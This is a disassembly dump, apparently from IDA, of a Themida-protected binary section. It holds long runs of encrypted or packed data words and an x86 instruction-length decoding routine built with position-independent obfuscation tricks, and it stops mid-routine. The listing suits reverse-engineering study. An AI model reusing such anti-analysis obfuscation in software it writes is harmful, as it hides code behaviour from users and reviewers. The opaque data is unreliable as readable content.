dd 5E7A457h, 0FAE08AE9h, 0A51468FFh, 80E905E7h, 68FFFAE0h dd 5E7A5B0h, 0FAE076E9h, 0A7AA68FFh, 6CE905E7h, 68FFFAE0h dd 5E7A8C3h, 0FAE062E9h, 9E1ADCFFh, 0C1C53170h, 287464C5h dd 9218DFA2h, 0FAC83574h, 0FFC0A7DCh, 572AB0FEh, 0B1F01EA4h dd 0E65B474Bh, 272FABF1h, 26F879DEh, 6429F9FFh, 577B18A6h dd 45EA47D0h, 0E4FE67B9h, 0B9FB5CC3h, 0D402007Bh, 0C05B6795h dd 233948Bh, 0D3F9FF7Bh, 79382F64h, 6D9C3A80h, 9AE1AF2Ah dd 9E0B3851h, 4AB0CD1Ch, 8309CE71h, 0AE828F78h, 0B9FFF8BBh dd 0FF7EE120h, 0FF3A195Ah, 6A73C8F9h, 0E7DBB601h, 47B5F407h dd 35A1207Bh, 67A30471h, 17961908h, 0D79B81B2h, 0C21B50F7h dd 31965A9Fh, 0F7D79B00h, 596A02DCh, 0D5718EBAh, 0C4A5219Eh dd 0D3929513h, 0CA039A28h, 815A6097h, 2C000DFAh, 765E9C3Dh dd 6BEA0A35h, 0A9798DCEh, 79FA5FEDh, 0A8EDA979h, 0EFF8B7D3h dd 0CEA7CCBBh, 91F8926Eh, 900ADF4h, 0FBFD0000h, 0A62E13BFh dd 5585E4E2h, 0F9FC4D49h, 0A95217B3h, 0A140FF1Bh, 35D1DF1Ch dd 933F8574h, 7A602CAEh, 0CED4D207h, 195AFF06h, 0C8F9FF19h dd 696E8145h, 6099D823h, 0A821FB86h, 4C884C2Dh, 43B83D48h dd 42CF8816h, 785EFB6Eh, 9301FA4Fh, 9FDE41A4h, 0EF3A5357h dd 6BD7B4B3h, 7DF25B6Ch, 6EF9FA01h, 2D6B6C2Fh, 24C9DDEh dd 95450432h, 0B1420009h, 0B9A83271h, 5AC71A20h, 38643FE6h dd 5E000000h, 9F5D7B18h, 16438813h, 2E0E8613h, 426DCD19h dd 0A1913679h, 7001FAA5h, 0EA87E03Bh, 0F9F9FA35h, 0CD00877Fh dd 603FE69Fh, 391758E1h, 71CEF9FAh, 0FF2B68h, 6E1F0000h dd 0BD3C2369h, 18B95B1Ch, 0E1A551FCh, 96BD0E65h, 8D2AAE2Fh dd 0FC18B9CCh, 9E3B2E05h, 0FC18B9DDh, 0BBC23F74h, 0C7906FF8h dd 0E4FE45EFh, 185DA8F4h, 317F7CA3h, 6A30A9A8h, 0AB27D013h dd 189A4D0Eh, 34A584FCh, 69A61776h, 2D8A0D3Ch, 0FC189A2Ch dd 693D8EE5h, 8604FD8h, 93D910DFh, 0E549E14Ah, 7663FC18h dd 298E3130h, 0FC18E528h, 6D3982F9h, 4EDDDB1Ch, 495784C7h dd 9346B932h, 5EC3BC0Dh, 3852F76Ah, 6B01FAB6h, 62DFE516h dd 0FAEE7364h, 0E147E247h, 0C1BE041Fh, 0D0DE1F5Eh, 328677CAh dd 0E7B625C7h, 0F69F69B1h, 48274CB9h, 2BFE7CAAh, 790F75Eh dd 6B6D0000h, 16DEA32Fh, 0C5357492h, 696CDDF9h, 19C2A723h dd 11F00F8Bh, 45414F8Ch, 23AFF5E4h, 8A109C5Eh, 5E4442B7h dd 89CA6F96h, 58F9FF1Bh, 6D6E11D5h, 9106BB27h, 0FCEC2E6Bh dd 7168DFA3h, 4A93D823h, 0CED4D207h, 577B1800h, 0E7EE51D0h dd 7EDB5AA1h, 0FC18B9FDh, 0D9E25F14h, 0FAD1FE70h, 8C4B0A01h dd 1269BD0Eh, 0ECA82C6Fh, 5AD7B0DBh, 49F9FAA1h, 480B370Fh dd 1EDD0C90h, 0DE333790h, 4D3FE62Bh, 0C4h, 23696E71h, 5E6499D8h dd 0BDC862CFh, 0F7E0FC18h, 0A35415B1h, 0B4F562E5h, 4E548991h dd 0F0EF13CDh, 0EE734CD7h, 0A8E247FAh, 0C001FA1Eh, 0CA515581h dd 95E23881h, 0E7C14E09h, 1B50ABEFh, 7938BBAEh, 0A5C5E383h dd 0AC2F0BAAh, 690D5677h, 0A0041E9Bh, 0E81554CBh, 2B6024D0h dd 9321DAAFh, 7B8C6316h, 301376FEh, 6A2h, 0B15D599Fh, 1A8004F0h dd 0E3EFB327h, 0B551579Eh, 1DB907F4h, 3DBEFFE6h, 0E3166B77h dd 8A7031DDh, 30A99806h, 1606C6Ah, 0FF1BB7B8h, 0E7276EF9h dd 0C98A2FAEh, 18FC18B9h, 26D79A23h, 4E70E998h, 6EFDCD6Dh dd 0F4216790h, 2D7846B5h, 360B1FA8h, 0A7A831C1h, 7EFC183Bh dd 0CED401h, 0AE29696Eh, 29589DE8h, 18B9CF80h, 0FC2906FCh dd 0E1B126A9h, 5945B2F8h, 4F00A928h, 86FC18B9h, 66DCA0A9h dd 4A7DD19Bh, 0D1B2871h, 325FFC18h, 74CE6B1Eh, 9F0200ECh dd 0F9FEA1A0h, 0A55217B3h, 0DA9D84E7h, 744D9E1Ah, 0E344FBEFh dd 412B887h, 0AF6481FEh, 7AFE79A7h, 5E8442Fh, 13C50000h dd 0BE360B97h, 6D6DDCFAh, 11C4A521h, 0C13A0F8Bh, 0B958D7F3h dd 2DA9F7E4h, 8B179D5Ch, 527844B6h, 26ACEAEFh, 0F162C73Eh dd 20F9FF1Ah, 696EB97Dh, 6099D823h, 9B3C35Ah, 8208F13Dh dd 921EDC9Fh, 0AD2C5D49h, 18B94B0Ch, 179B41FCh, 9FAB3C0Bh dd 3A041342h, 7E9h, 3E8EDD00h, 0B4000001h, 18B9FB88h, 914609FCh dd 54F9B20Bh, 0D94EF170h, 2817C954h, 99E2FBD2h, 2000936h dd 3E61E05Fh, 0FD67F0BCh, 4FA36AF2h, 3D7CA304h, 91D0FEBCh dd 0EEDB2268h, 7DDA4D61h, 41D7809h, 1FEE0B60h, 12FE7A68h dd 53C2C77h, 0BF390000h, 6A6ADFFBh, 19C1A02Eh, 0BD380995h dd 6D6ED3FFh, 650CBB27h, 0F11DA358h, 5F7B49B0h, 26ACF0EAh dd 8A109643h, 5D1EBBCAh, 0F4F9FF1Dh, 696E4D89h, 1659D823h dd 5E01DADEh, 7A881399h, 0F77604F0h, 2D7844B4h, 0B9DE9FA8h dd 3877FC18h, 7137A0AFh, 4C4A8FCEh, 8D1AAF7Bh, 8A995F9Eh dd 82B8011Ah, 3A04DA4Fh, 7FCh, 828EC600h, 0B4000000h, 0D0577B18h dd 580577h, 7CE35802h, 0D0FEBC3Dh, 0DB226891h, 0DA4D61EEh dd 0E7C71A7Dh, 5047307h, 8B179542h, 867141B6h, 3B70E500h dd 260A17E0h, 0ED508623h, 608B0A35h, 0FF33D644h, 1693C8FCh dd 0F892F891h, 7FAAF590h, 7A000004h, 0AF92387Ch, 2676327h dd 7DCCCAD6h, 0D3963C7Ah, 0C17E642Ah, 52609D22h, 0B806F5B4h dd 0E1AD2F12h, 555384E5h, 0DB7C8549h, 0F9FF1C9Ah, 8E00CA4Bh dd 10Eh, 577B18B4h, 580577D0h, 0E9580200h, 1952A9EDh, 106B31A6h dd 0B8FB6EDBh, 0EC5D793Fh, 0D75EADEBh, 0F8F10942h, 0B99AB301h dd 9069720Bh, 0FA8DFF3h, 7E740A8h, 109396EDh, 0E074891h dd 61DEF7D6h, 0DAE01958h, 0D28C4D3Ch, 0FE0BEA48h, 0D92C999Ah dd 0D84F63E0h, 349B7B7Fh, 58A5920Ah, 0F893CBF1h, 0E38ED1B4h dd 0DE000003h, 33769C18h, 66DBC7C3h, 0C1A02E72h, 370A9016h dd 0A5D2F8C6h, 0B6FCE1BEh, 1CA25928h, 4549B3F6h, 0A9EFE859h dd 67C0212Dh, 0F9FF1CF6h, 6EA4662Fh, 99D82369h, 0B3C35A60h dd 98313D09h, 3B7134F2h, 0A6B9DC37h, 408CDD7Eh, 5AF778C1h dd 512EFC18h, 5B9CC3E4h, 16CBB15Dh, 0B73A04F6h, 2FB804F4h dd 41E2h, 7B18C400h, 3851D057h, 8FAD20FEh, 4A933489h, 1FB5DF7h dd 14984205h, 276344F1h, 0DC099742h, 0A2EEEAADh, 0BDFDFCBFh dd 0AE2F7E3Ch, 29B26871h, 0F9FA1D15h, 0EEF4B227h, 0C8535F9Bh dd 33D69h, 6C6E9D00h, 0CD5AC520h, 16C2972Bh, 51FA738Ah dd 0B8AF47E0h, 18225E1Fh, 2FB8F7FCh, 0D5F1B720h, 0C6256394h dd 0B65C5A9Fh, 0B5B49885h, 0FA434614h, 9BE25901h, 0FA0081BEh dd 605492F9h, 0E6C8F429h, 695B3Fh, 0AE6F0000h, 5BA2E8EFh dd 53F0C912h, 0C8058175h, 0D17EF059h, 0DA9101FAh, 5681C043h dd 112E7750h, 23F9FAA1h, 0C5D2AB4h, 5AD07122h, 0A4579EEDh dd 0C5878F1Eh, 0FF798FF1h, 0BF387B07h, 2029A2F9h, 4F17C1E8h dd 6307A0E6h dd 3FE61EAEh, 129E5C1Fh, 2E2F888Bh, 0E7F9FABEh, 0EDEC5388h dd 19906A7h, 16000001h, 831AA057h, 6EB5714Ah, 0BD3C2369h dd 18B95B1Ch, 4ABD8AFCh, 90BB0C90h, 87E6AC51h, 8E1D9B5Ch dd 8E149247h, 18BD255Dh, 0A4E217FCh, 88E4B3Eh, 211F04FDh dd 0ED94F7BBh, 18BD0B4Ch, 306DDAFCh, 23E344FBh, 5201FAD3h dd 76A3E7EFh, 5E96D968h, 0ABA8815Ah, 0EB278087h, 19041F4Dh dd 6D003196h, 5FDCF7DEh, 4FCFF8EFh, 10A9868Ch, 0CB8ABD8Ah dd 3415012h, 0C54F9212h, 6DEEB479h, 6A907DBDh, 5996C726h dd 61EC7DECh, 9D5E1A9Ah, 0C9F96681h, 0E05DF1BEh, 7D7EC3C7h dd 491B5CFDh, 7DCAF7DEh, 3F48FB00h, 7613FE7Dh, 1E92Fh dd 9612C400h, 0F9BD3908h, 206C6CDDh, 8A10C7BAh, 0F2C03D0Ch dd 0E7B85FD4h, 5F22A8F6h, 0B988169Ch, 0EE537F43h, 3F27A3E9h dd 1EF061C6h, 7C21F9FFh, 0D739AEBEh, 53599E96h, 0AE8A83C8h dd 52CC4D41h, 7B7E9B7h, 0CF0C3394h, 7364C5C1h, 5918A935h dd 0FFCB1CA2h, 0D0577B18h, 0DB226891h, 61C64992h, 1FAD1F1h dd 57304B20h, 0F9FAA1DAh, 8BB78FC9h, 3D8E12C8h, 0E62BD409h dd 0E47B3Fh, 6E4F0000h, 0ECB22969h, 0F0ED54B7h, 4FD85BA2h dd 0C9331D56h, 1AC854C5h, 9218A53h, 0E3FC187Ah, 147735A0h dd 9E5B06A7h, 4A8FF218h, 3776394Ch, 0A7A831BFh, 7EFC1872h dd 6195D401h, 3495C625h, 4FF2D67Bh, 0B8C3C90Ch, 0C267AA33h dd 1FA1CC0h, 6B9E0473h, 118506FEh, 0F1D1B07Eh, 2F9DBE26h dd 1AD3F40Eh, 0BF189B75h, 0F9FA6ABEh, 0E4F1857h, 0C7F9FA6Ah dd 4D0C3368h, 71FA018Dh, 0F1802968h, 1F041FBAh, 0C8119F5Ch dd 2362E552h, 9BEEF4BAh, 6ED75C62h, 0F1FE7CABh, 0D0CD94h dd 2BAD0000h, 0D61E636Fh, 857534D2h, 29AC9D39h, 0D9026763h dd 0D1B0CFCBh, 5810FCCh, 0E3EFB524h, 4A505C9Eh, 1E8402F7h dd 0C98A2F56h, 18F9FF11h, 0EFAED115h, 612FAAEEh, 2FAC9334h dd 3EBFFE61h, 7A01570h, 0F3B93E03h, 696EE9D7h, 9CEFB329h dd 0CE8F285Fh, 7FC18B9h, 29A8F328h, 0EBECEAB0h, 7ADF4266h dd 2005832h, 5C87E65Dh, 2B6A1D9Bh, 0CBDFE8AEh, 68F18176h dd 0F9FF26E7h, 0F114413Eh, 0F13E64A8h, 0DF9A349h, 547238A1h dd 47A6E415h, 21D9D91Ch, 90CD0E9Dh, 2564AD75h, 936FE8B6h dd 22DE034h, 0B581C912h, 8C0A9049h, 0C9A23CBDh, 0F65FAE3Ah dd 0A8C57C0h, 0F660753Bh, 0F0362B9h, 3B000000h, 766726A7h dd 7E0515F4h, 0A71C7B53h, 686E2006h, 6196D92Ch, 5B81C05Bh dd 4E8D3457h, 41BA2540h, 34A92873h, 21D41F6Eh, 19C1009Bh dd 7CF7695h, 56F27883h, 0C681E689h, 4, 5604EE83h, 42474FFh dd 24048F5Eh, 0E389535Ch, 4C381h, 0EB810000h, 4, 5C241C87h dd 68241489h, 49D8h, 83240C89h, 48904ECh, 4A16B824h, 0A4BA5070h dd 315597D5h, 8B5458C2h, 0C481240Ch, 4, 24348152h, 641A375Ah dd 5008418Fh, 8B8h, 81C80100h, 1A375A30h, 34FF5864h, 0C4835924h dd 2434FF04h, 4C4835Ah, 0FAD5DEE9h, 77D1F4FFh, 0CB30BD0Fh dd 6D6FA4A4h, 0E7A9B8B8h, 0FFC50305h, 393826E0h, 0A07A9150h dd 8DC48808h, 0E4A07158h, 0B2A94579h, 8AB4314h, 5AD5F761h dd 5C308E23h, 463B180Dh, 0BA5ADB5Dh, 220CE644h, 0FD416A3Ch dd 0DAC8FF00h, 139C4A0Dh, 702CFB39h, 380F4537h, 0B31DF523h dd 0E36B9307h, 6B94866Dh, 7F747F50h, 2EFB946h, 43428672h dd 0EBBEB55Eh, 44162E6Bh, 0AAC8CB05h, 3BB00A1Dh, 638D8D5Ah dd 8B05E7ABh, 0E20011B5h, 0E98D8905h, 6A05E20Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 3AB7C353h, 2CD7B519h, 7D9D8B82h, 8905E209h, 0E22409B5h dd 6185C705h, 6005E207h, 6A00006Ch, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 75CC355h dd 0FB0A879Ch, 0DB816605h, 0B5896BF7h, 5E23299h, 1B5585C7h dd 5E2h, 8B660000h, 0D1B5FFF8h, 0E905E21Ch, 14h, 0A07C26C8h dd 2B5C64ACh, 9FDFB996h, 3155BE4Ch, 7FC03920h, 0B1595FFh dd 6AF905E2h, 0B995FF00h, 8B05E20Ah, 8C4CEBC0h, 819151A8h dd 0F69BB0EBh, 49C411CCh, 0D5ECA69Ah, 811F61F8h, 8FEA4169h dd 0FCCF2A27h, 21F7FCEAh, 7B1C3C3Bh, 0ECC95FB1h, 722EEAC6h dd 0CBE05984h, 0A1B185F4h, 84E23BFFh, 858E5A49h, 84E302B3h dd 796D2728h, 6C5D56ECh, 8BEB7F28h, 8B6656C0h, 0BD835ADFh dd 5E21EA9h, 83097500h, 0E21805BDh, 19740005h, 0C08B5350h dd 3FCB8h, 5D858900h, 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h dd 5BD8358h, 5E218h, 53501774h, 3FCB8h, 5D858900h, 8D05E231h dd 0E4AFE99Dh, 5BD3FF05h, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 63DA8133h dd 0F6ABEE2h, 685h, 72EB8100h, 6A475D91h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 806DC357h dd 0E38166B8h, 0C08B15DFh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0BC35646h, 5CD33392h, 0B9BD83h, 0F0105E2h dd 7784h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0BD83FCBEh, 5E213C5h, 4D850F00h dd 8B000000h, 0A1BD83D6h, 5E21Ch, 8A840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 890FF7C3h, 2, 12E9D18Bh, 68000000h, 74BEDD31h, 3A0B7CBFh dd 97B82C15h, 3F826910h, 0D9B70FACh, 353E9h, 0FE900h, 97F20000h dd 85A605EAh, 746E6C5Bh, 0E2377D6Fh, 28h, 0EB816600h, 6A21C5h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0F808C8C3h, 5E9h, 0F15DED00h, 0DA8BACF2h, 6ADEDF07h dd 4C776FA2h, 0C994E778h, 0AD148F05h, 0C4F93CA8h, 0E7116A54h dd 4E4FA974h, 46154E61h, 0DB154ECEh, 81116A45h, 8C6EA9F4h dd 0CFFCA735h, 96A40CA2h, 0C71164BDh, 6207B72Ah, 0BFD3394Dh dd 227FB548h, 9C3C968Dh, 0C77BBA5Dh, 0C7128207h, 99316AA8h dd 0B3983497h, 83906E0Eh, 0C70C6E31h, 91576A8Ah, 91EC8086h dd 6F27CF4Eh, 0A10A03BAh, 2E192C13h, 0C7116EC3h, 0C19D657Ah dd 46116A15h, 9259AC50h, 2F443173h, 0C7116AA2h, 12FCEB0Ch dd 0A1148D05h, 7C43BBDFh, 0FA5DD777h, 0C714824Fh, 0EB7C6A8Ah dd 7C9F4A75h, 81D96B0Bh, 2FD1E10Bh, 0C7116AA6h, 2CBABF2h dd 0EF499E4Ah, 9376B0AEh, 0D907589h, 0A5C82F96h, 9746FAF8h dd 0C7018303h, 7E5C6AA8h, 0CB8048F0h, 58075D6Bh, 65200D68h dd 0F61E7FE1h, 0C71164ADh, 0B5988FA2h, 5AB17934h, 0BE155E16h dd 9D13F5A1h, 974A3270h, 0C71165FCh, 0B97B458Ah, 9B86CE49h dd 0C7758A0Eh, 4BC74D7h, 8B106538h, 0C77B9470h, 0C7128278h dd 9D316A15h, 93983049h, 83906E61h, 0C7046E86h, 95536A51h dd 95B4DF6Bh, 9F4AD9E6h, 0C713E425h, 1E9A6A15h, 0C713668Fh dd 0CF9A9345h, 0A1C8E1C4h, 0ADED22DAh, 0C4F938A8h, 0E7116A54h dd 4E4BA970h, 46154E41h, 0D3154ECEh, 85116A45h, 0C809A9F0h dd 0C7116BD8h, 781E92A8h, 0C710D28Ah, 7E716A2Ah, 836C25DFh dd 0EFF1EBECh, 2F800BB8h, 0C7116AABh, 0E997FA54h, 0CD55EC3Eh dd 4AA20ACEh dd 9C70D99Fh, 0C7178245h, 17536A8Ah, 0C9D49A21h, 0C71C83C2h dd 71596A51h, 6895124Ch, 4266FDF1h, 0A65F97B8h, 701EFB4Fh dd 1E9D0C51h, 0AFEA88C4h, 6E70A51h, 7C946555h, 7D116AA8h dd 0FB2F35D9h, 119A0C73h, 0C8795395h, 0C7106C0Fh, 91110045h dd 0C711694Ah, 44F4A51h, 0E365E3F6h, 0E355EB50h, 0C7117C2Eh dd 4472C15h, 0A151B701h, 0BE9AB4CEh, 0CF9465A3h, 0C8116A51h dd 0C7116828h, 4697D854h, 0C7116AD5h, 0F936595h, 0AD116A8Ah dd 0C4F93F45h, 0E7116AA2h, 4E4CA90Ch, 46154EC4h, 0DA154E10h dd 82116A2Ah, 562FA940h, 2C854CFAh, 0C09C0360h, 6A07EF65h dd 0C7106FB6h, 2F466AA8h, 0C7116A58h, 931C4DA2h, 112F7604h dd 357D534h, 0C7117EACh, 40BC70A2h, 0CA746624h, 0D60F0832h dd 17D903F2h, 5855FB80h, 2E4B314Eh, 0C7116A02h, 2E71B8C5h dd 0C7116AFDh, 0AD48BCDAh, 0C4F93DA8h, 0E7116A54h, 4E4EA975h dd 46154E69h, 0D3154ECEh, 80116A45h, 0A14DA9F5h, 381A13D2h dd 0C724EEA7h, 0C77B6A54h, 0C7128278h, 9D316A15h, 93983049h dd 83906E61h, 0C7046E86h, 95536A51h, 9145566Bh, 0B99DD032h dd 2D900C70h, 42D63BC9h, 0C2F6C79Ch, 0C7116A44h, 8FC2E1C4h dd 2F466A3Bh, 0C7116AABh, 98D23574h, 0C33516A3h, 0C3352E94h dd 0C7116A9Ch, 0B4D23D02h, 349B6238h, 0D32D4CE8h, 6094E7F8h dd 4A148DE6h, 20A11B97h, 0B3E95110h, 161E5A8Dh, 32FA2D8Ch dd 2F446AC8h, 0C7116A52h, 9AD23788h, 0C33506DDh, 0C3352EABh dd 0C7116A08h, 1BD23FCFh, 3ACA0FEFh, 5C0A533Fh, 5BA796E2h dd 2F466AC2h, 0C7116A57h, 98D2350Ah, 0C335169Ch, 0C3352E0Bh dd 0C7116A5Eh, 62D23DE5h, 9F4F58D8h, 447F994Ah, 2511D3E9h dd 431E6B2Fh, 0C7116A43h, 0C713EE85h, 1A9B6A45h, 0D4D4D721h dd 0C8116FB3h, 0C7112B2Dh, 90110054h, 0C71169C2h, 44E4A15h dd 0E36DE3D5h, 0E355EB41h, 0C71176A6h, 4462D51h, 9D909433h dd 0BE4D1882h, 66ACE9F7h, 0C7148809h, 0C727EE85h, 4C1E6A45h dd 0C7116AA4h, 58F5A0D0h, 7D7733BFh, 0F3F8BFFFh, 0AD116A2Bh dd 0C4F93815h, 0E7116A8Ah, 4E4BA91Fh, 46154EF6h, 0D3154E15h dd 85116AA8h, 0A1D0A906h, 413781ABh, 0C7A8D796h, 0C8106F68h dd 0C711DCC0h, 951100A2h, 0C71169B9h, 44B4AA8h, 0E345E30Eh dd 0E355EB2Eh, 0C7117711h, 443288Ah, 6B4649A5h, 0D2D9FEEFh dd 0C91A2A3h, 9AC2E100h, 0C77BA9A8h, 0C712827Bh, 9E316A15h dd 8B983349h, 83906E61h, 0C7046E86h, 96506A51h, 3F215D6Bh dd 0C711DCBDh, 9611002Ah, 0C71169FDh, 4484A8Ah, 0E35DE31Ch dd 0E355EBA6h, 0C7117355h, 4402BA8h, 0F5CD206h, 0C2F9C87Eh dd 0CE116A15h, 923475AFh, 0C71179ADh, 552888A2h, 0EF7AFD58h dd 0CE76A5Ch, 0B751ACE6h, 0BA0C5AD5h, 0C7116DFCh, 9528C8Ah dd 74FC8C21h, 0D7F831F9h, 21116A51h, 9D2ABD02h, 0D77A15FCh dd 0D108F737h, 9A67C42Ch, 2F426AE0h, 0C7116A46h, 9CD23182h dd 0C33536D8h, 0C3352E29h, 0C7116A40h, 5BD23969h, 0A1CFDD1Ah dd 0ADDEBA01h, 0C4F93D45h, 0E7116AA2h, 4E4EA90Eh, 46154ED4h dd 0DC154E10h, 80116A2Ah, 0C74AA942h, 37D8719Dh, 461E4E75h dd 0C7116AA1h, 4A0398D1h, 20BC2315h, 0B39CE751h, 7F148D98h dd 0BC2B3608h, 0D118EFB9h, 83A6FA7h, 0D32D4CE8h, 6094E7F8h dd 4A148DE6h, 20A11B97h, 0B3E95110h, 161E5A8Dh db 8Ch, 2Dh, 0FAh byte_548F43 db 83h ; DATA XREF: Themida_:004EE82Co ; Themida_:004EFFA0o dd 0A4F305E9h, 0AD16BD83h, 740005E7h, 428D8D0Dh, 0B805E24Ch dd 1, 6A40E1FFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0B982C353h, 0D68BACA3h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C8C35646h, 0DF81FDF7h dd 1684F197h, 0FB8B6050h, 835A61F8h, 66532DE8h, 8B5BD68Bh dd 7E8C0h, 0DDD30000h, 122A0018h, 2800FEDh, 0B6000000h dd 0D68B5AE2h, 1EA9BD83h, 750005E2h, 5BD8309h, 5E218h dd 53501974h, 0FCB8C08Bh, 89000003h, 0E21DD585h, 619D8D05h dd 0FF05E4B3h, 83585BD3h, 0E21805BDh, 17740005h, 0FCB85350h dd 89000003h, 0E21DD585h, 29D8D05h, 0FF05E4B0h, 6A585BD3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0E8D7C356h, 7902A16Ah, 8C0F5360h, 0 dd 0F7F1805Eh, 0B7EB8061h, 0C8E9C08Bh, 88000001h, 7 dup(88004188h) dd 4188h, 4 dup(0) dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h dd 888888h, 0 dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h dd 88080888h, 888888h, 0 dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0 dd 1000000h, 14h dup(0) dd 0C3000000h, 77ED6380h, 1000075h, 11h dup(0) dd 0E9000000h, 353h, 0E855h, 815D0000h, 0E7B56BEDh, 85C76005h dd 5E7B4B8h, 0 dd 663E8166h, 0F850FA1h, 0C7000000h, 0E7B4BC85h, 605h dd 24E900h, 858D0000h, 5E7B4C0h, 10858D50h, 5005E7B5h dd 0E8006A56h, 1Dh, 2510C483h, 0FFh, 0B4BC8589h, 36105E7h dd 0E7B4BCB5h, 0B8858B05h, 5D05E7B4h db 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_5492AE mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5492BA ; --------------------------------------------------------------------------- loc_5492AE: ; CODE XREF: Themida_:00549297j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5492BA: ; CODE XREF: Themida_:005492A9j push ebx push esi push edi loc_5492BD: ; CODE XREF: Themida_:00549312j ; Themida_:0054932Ej ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5492D0: ; CODE XREF: Themida_:005492F7j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 5E7B622h lea ebp, [ebp+5E7B498h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5492FD inc cl cmp cl, 0Bh jb loc_5492D0 loc_5492FD: ; CODE XREF: Themida_:005492ECj cmp cl, 0Bh jz loc_54935A cmp al, 66h jnz loc_54933B cmp byte ptr [ebp-5], 0 jnz loc_5492BD cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_549333 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_5492BD ; --------------------------------------------------------------------------- loc_549333: ; CODE XREF: Themida_:00549320j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_54933B: ; CODE XREF: Themida_:00549308j cmp al, 67h jnz loc_5492BD cmp byte ptr [ebp-6], 0 jnz loc_5492BD xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_5492BD ; --------------------------------------------------------------------------- loc_54935A: ; CODE XREF: Themida_:00549300j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_549386 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_54938B ; --------------------------------------------------------------------------- loc_549386: ; CODE XREF: Themida_:00549365j movzx edi, al shr edi, 1 loc_54938B: ; CODE XREF: Themida_:00549381j push ebp call $+5 pop ebp sub ebp, 5E7B6DAh lea ebp, [ebp+5E7B398h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_54950D mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_549451 dec ecx jz loc_549434 dec ecx jnz loc_5494A4 cmp byte ptr [ebp-2], 0 jnz loc_5494A0 cmp byte ptr [ebp-5], 0 jz loc_549413 mov byte ptr [ebp+0Bh], 2 loc_549413: ; CODE XREF: Themida_:00549409j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 5E7B766h mov dword ptr [ebp+5E7B4B8h], 1 pop ebp jmp loc_5494A4 ; --------------------------------------------------------------------------- loc_549434: ; CODE XREF: Themida_:005493EEj cmp byte ptr [ebp-2], 0 jnz loc_54947E cmp byte ptr [ebp-5], 0 jz loc_54947E mov byte ptr [ebp+0Bh], 2 jmp loc_54947E ; --------------------------------------------------------------------------- loc_549451: ; CODE XREF: Themida_:005493E7j cmp byte ptr [ebp-2], 0 jnz loc_549497 cmp byte ptr [ebp-5], 0 jz loc_549486 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_54947E mov [ebp+0Bh], cl loc_54947E: ; CODE XREF: Themida_:00549438j ; Themida_:00549442j ... inc byte ptr [ebp+0Bh] jmp loc_5494A4 ; --------------------------------------------------------------------------- loc_549486: ; CODE XREF: Themida_:0054945Fj cmp dl, 5 jnz loc_5494A4 mov [ebp+0Bh], dl jmp loc_5494A4 ; --------------------------------------------------------------------------- loc_549497: ; CODE XREF: Themida_:00549455j cmp dl, 6 jnz loc_5494A4 loc_5494A0: ; CODE XREF: Themida_:005493FFj mov byte ptr [ebp+0Bh], 3 loc_5494A4: ; CODE XREF: Themida_:005493F5j ; Themida_:0054942Fj ... dec byte ptr [ebp+0Bh] jz loc_5494D2 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5494B4: ; CODE XREF: Themida_:005494CAj movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] 